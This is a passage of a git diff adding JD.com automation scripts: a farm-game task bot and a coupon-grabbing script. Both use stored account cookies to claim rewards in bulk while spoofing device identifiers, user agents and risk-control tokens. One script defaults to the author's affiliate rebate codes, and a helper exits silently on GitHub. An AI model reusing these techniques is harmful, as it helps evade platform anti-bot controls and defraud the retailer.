'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + // let body = `body=%7B%22to%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%5C/dingzhi%5C/qqxing%5C/pasture%5C/activity?activityId%3D90121061401%22%2C%22action%22%3A%22to%22%7D&build=167588&client=apple&clientVersion=9.4.4&lang=zh_CN&scope=11&sv=111` + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + data = JSON.parse(data); + // console.log(data, 'data') + $.isvToken = data['tokenKey'] + cookie += `IsvToken=${data['tokenKey']}` + // console.log($.isvToken) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取pin需要用到 +function getToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167588&client=apple&clientVersion=9.4.4&d_brand=apple&d_model=iPhone9%2C2&lang=zh_CN&openudid=1805a3ab499eebc088fd9ed1c67f5eaf350856d4&osVersion=12.0&partner=apple&rfs=0000&scope=11&screen=1242%2A2208&sign=ede16c356f954b5e48b259f94cf02e10&st=1624887883419&sv=120', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + console.log(data) + $.token2 = data['token'] + // console.log($.token2) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + + +//抄的书店的 不过不加好像也能进去 +function getActCk() { + return new Promise(resolve => { + $.get(taskUrl("/dingzhi/qqxing/pasture/activity", `activityId=90121061401`), (err, resp, data) => { + updateCookie(resp) + // console.log(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // if ($.isNode()) + // for (let ck of resp['headers']['set-cookie']) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // else { + // for (let ck of resp['headers']['Set-Cookie'].split(',')) { + // cookie = `${cookie}; ${ck.split(";")[0]};` + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getshopid() { + let config = taskPostUrl("/dz/common/getSimpleActInfoVo", "activityId=90121061401") + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.shopid = data.data.shopId + // console.log($.shopid) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取我的pin +function getMyPin() { + let config = taskPostUrl("/customer/getMyPing", `userId=${$.shopid}&token=${encodeURIComponent($.token2)}&fromType=APP`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + // console.log($.pin) + $.nickname = data.data.nickname + // console.log(data) + console.log(`欢迎回来~ ${$.nickname}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function adlog() { + let config = taskPostUrl("/common/accessLogWithAD", `venderId=1000361242&code=99&pin=${encodeURIComponent($.pin)}&activityId=90121061401&pageUrl=https%3A%2F%2Flzdz-isv.isvjcloud.com%2Fdingzhi%2Fqqxing%2Fpasture%2Factivity%3FactivityId%3D90121061401%26lng%3D107.146945%26lat%3D33.255267%26sid%3Dcad74d1c843bd47422ae20cadf6fe5aw%26un_area%3D27_2442_2444_31912&subType=app&adSource=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // data = JSON.parse(data); + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}; ${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + + +// 获得用户信息 +function getUserInfo() { + return new Promise(resolve => { + let body = `pin=${encodeURIComponent($.pin)}` + let config = taskPostUrl('/wxActionCommon/getUserInfo', body) + // console.log(config) + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.data) { + $.userId = data.data.id + $.pinImg = data.data.yunMidImageUrl + $.nick = data.data.nickname + } else { + $.cando = false + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUid() { + return new Promise(resolve => { + let body = `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg }&nick=${encodeURIComponent($.nick)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/activityContent', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if(data.data.openCardStatus !=3){ + console.log("当前未开卡,无法助力和兑换奖励哦") + } + // $.shareuuid = data.data.uid + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.shareuuid}\n`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//获取任务列表 +function getinfo() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/myInfo", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&pinImg=${$.pinImg}&nick=${$.nick}&cjyxPin=&cjhyPin=&shareUuid=${$.shareuuid}`) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + $.taskList = data.data.task.filter(x => (x.maxNeed == 1 && x.curNum == 0) || x.taskid == "interact") + $.taskList2 = data.data.task.filter(x => x.maxNeed != 1 && x.type == 0) + $.draw = data.data.bags.filter(x => x.bagId == 'drawchance')[0] + $.food = data.data.bags.filter(x => x.bagId == 'food')[0] + $.sign = data.data.bags.filter(x => x.bagId == 'signDay')[0] + $.score = data.data.score + // console.log(data.data.task) + let helpinfo = data.data.task.filter(x => x.taskid == 'share2help')[0] + if (helpinfo) { + console.log(`今天已有${helpinfo.curNum}人为你助力啦`) + if (helpinfo.curNum == 20) { + $.needhelp = false + } + } + $.cow = `当前🐮🐮成长值:${$.score} 饲料:${$.food.totalNum-$.food.useNum} 抽奖次数:${$.draw.totalNum-$.draw.useNum} 签到天数:${$.sign.totalNum}` + $.foodNum = $.food.totalNum-$.food.useNum + console.log($.cow) + $.drawchance = $.draw.totalNum - $.draw.useNum + } else { + $.cando = false + // console.log(data) + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + + +// 获取浏览商品 +function getproduct() { + return new Promise(resolve => { + let body = `type=4&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.uuid}` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/getproduct', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log(data) + if (data.data && data.data[0]) { + $.pparam = data.data[0].id + + $.vid = data.data[0].venderId + + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 获取浏览商品 +function writePersonInfo(vid) { + return new Promise(resolve => { + let body = `jdActivityId=1404370&pin=${encodeURIComponent($.pin)}&actionType=5&venderId=${vid}&activityId=90121061401` + + $.post(taskPostUrl('/interaction/write/writePersonInfo', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log("浏览:" + $.vid) + console.log(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//兑换商品 +function exchange(id) { + return new Promise(resolve => { + let body = `pid=${id}&activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=` + $.post(taskPostUrl('/dingzhi/qqxing/pasture/exchange?_', body), async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + // console.log() +if(data.result){ +console.log(`兑换 ${data.data.rewardName}成功`) +$.exchange += 20 +}else{ +console.log(JSON.stringify(data)) +} + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function dotask(taskId, params) { + let config = taskPostUrl("/dingzhi/qqxing/pasture/doTask", `taskId=${taskId}&${params?("param="+params+"&"):""}activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=${$.uuid}&userUuid=${$.shareuuid}`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (data.data.food) { + console.log("操作成功,获得饲料: " + data.data.food + " 抽奖机会:" + data.data.drawChance + " 成长值:" + data.data.growUp) + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) + +} + +function draw() { + let config = taskPostUrl("/dingzhi/qqxing/pasture/luckydraw", `activityId=90121061401&pin=${encodeURIComponent($.pin)}&actorUuid=&userUuid=`) + // console.log(config) + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + updateCookie(resp) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.result) { + if (Object.keys(data.data).length == 0) { + console.log("抽奖成功,恭喜你抽了个寂寞: ") + } else { + console.log(`恭喜你抽中 ${data.data.prize.rewardName}`) + $.drawresult += `恭喜你抽中 ${data.data.prize.rewardName} ` + } + } else { + console.log(data.errorMessage) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(url, body) { + const time = Date.now(); + // console.log(cookie) + return { + url: `https://lzdz-isv.isvjcloud.com${url}?${body}`, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + // 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin}`, + } + } +} + + + +function taskPostUrl(url, body) { + return { + url: `https://lzdz-isv.isvjcloud.com${url}`, + body: body, + headers: { + 'Host': 'lzdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzdz-isv.isvjcloud.com/dingzhi/qqxing/pasture/activity/6318274?activityId=90121061401&shareUuid=15739046ca684e8c8fd303c8a14e889a&adsource=null&shareuserid4minipg=Ej42XlmwUZpSlF8TzjHBW2Sy3WQlSnqzfk0%2FaZMj9YjTmBx5mleHyWG1kOiKkz%2Fk&shopid=undefined&lng=107.146945&lat=33.255267&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446', + 'user-agent': 'jdapp;android;10.0.4;11;2393039353533623-7383235613364343;network/wifi;model/Redmi K30;addressid/138549750;aid/290955c2782e1c44;oaid/b30cf82cacfa8972;osVer/30;appBuild/88641;partner/xiaomi001;eufv/1;jdSupportDarkMode/0;Mozilla/5.0 (Linux; Android 11; Redmi K30 Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045537 Mobile Safari/537.36', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + // 'Cookie': `${cookie} IsvToken=${$.IsvToken};AUTH_C_USER=${$.pin};`, + } + } +} + + + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_red.js b/backUp/jd_red.js new file mode 100644 index 0000000..6347704 --- /dev/null +++ b/backUp/jd_red.js @@ -0,0 +1,2745 @@ +/* +双十一无门槛红包 +cron 0,30 0,12,19 jd_red.js +添加环境变量FLCODE 如需自己吃返利,请填写该变量(https://u.jd.com/后面的英文) +* */ +const $ = new Env('抢双11无门槛红包'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +let cookie = ''; +$.shareCode = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main() + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}); + +async function main() { + let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); + $.UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460622;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;` + $.max = false; + $.hotFlag = false; + const flCodeArr = ['3K9D5Kc', '3IVMKm8', '3I9UVcJ', '3IXbyRK', '3wVdViu']; + const flCode = $.isNode() ? (process.env.FLCODE ? process.env.FLCODE : flCodeArr[Math.floor((Math.random() * flCodeArr.length))]) : flCodeArr[Math.floor((Math.random() * flCodeArr.length))]; + $.code = flCode; + for (let i = 0; i < 10 && !$.max; i++) { + $.newCookie = ''; + $.url1 = ''; + $.url2 = ''; + $.eid = ''; + await getInfo1(); + if (!$.url1) { + console.log(`${userName},初始化1失败,可能黑号`); + $.hotFlag = true; + break; + } + await getInfo2(); + if (!$.url2) { + console.log(`${userName},初始化2失败,可能黑号`); + $.hotFlag = true; + break; + } + $.actId = $.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1] || '2GdKXzvywVytLvcJTk2K3pLtDEHq'; + let arr = await getBody($.UA, $.url2); + await getEid(arr) + console.log(`$.actId:` + $.actId) + if ($.eid) { + if (i === 0 && $.shareCode) { + await getCoupons($.shareCode); + } else { + await getCoupons(""); + } + } + await $.wait(5000) + } + // if ($.index === 1 && !$.hotFlag) { + // await $.wait(2000) + // await mainInfo() + // } +} + +function mainInfo() { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=shareUnionCoupon&appid=u&_=${Date.now()}&loginType=2&body={%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22platform%22:4,%22unionShareId%22:%22${$.shareCode}%22,%22d%22:%22${$.code}%22,%22supportPic%22:2,%22supportLuckyCode%22:0,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${$.newCookie}`, + "User-Agent": $.UA, + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + } else { + let res = $.toObj(data, data); + if (typeof res == 'object') { + if (res.code == 0 && res.data && res.data.shareUrl) { + $.shareCode = res.data.shareUrl.match(/$.code\?s=([^&]+)/) && res.data.shareUrl.match(/$.code\?s=([^&]+)/)[1] || '' + console.log('助力码:' + $.shareCode) + } + } else { + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + $.eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +async function getCoupons(shareCode) { + return new Promise(resolve => { + let opts = { + url: `https://api.m.jd.com/api?functionId=getCoupons&appid=u&_=${Date.now()}&loginType=2&body={%22platform%22:4,%22unionActId%22:%2231134%22,%22actId%22:%22${$.actId}%22,%22d%22:%22${$.code}%22,%22unionShareId%22:%22${shareCode}%22,%22type%22:1,%22eid%22:%22${$.eid}%22}&client=apple&clientVersion=8.3.6&h5st=undefined`, + headers: { + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + 'Cookie': `${cookie} ${$.newCookie}`, + 'user-agent': $.UA + } + } + $.get(opts, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.toStr(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let res = $.toObj(data, data); + if (typeof res == 'object') { + if (res.msg) { + console.log('异常:' + res.msg) + } + if (res.msg.indexOf('上限') !== -1 || res.msg.indexOf('未登录') !== -1) { + $.max = true; + } + if ($.shareId && typeof res.data !== 'undefined' && typeof res.data.joinNum !== 'undefined') { + console.log(`当前${res.data.joinSuffix}:${res.data.joinNum}`) + } + if (res.code == 0 && res.data) { + if (res.data.type == 1) { + 